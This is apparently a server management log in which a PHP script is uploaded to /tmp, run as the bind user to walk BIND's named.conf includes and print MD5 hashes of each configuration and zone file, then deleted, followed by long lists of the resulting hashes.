MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 14c1edeb05e4031ffc2f3b7e0fb4d902
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-09 14:15:56: Establishing a connection
2026-02-09 14:15:56: Establishing a connection
2026-02-09 14:15:56: 

PUT: /tmp/pkp541007

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-09 14:15:57: 

runuser -l bind -s /bin/bash -c '/tmp/pkp541007; rm /tmp/pkp541007'

2026-02-09 14:15:57: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
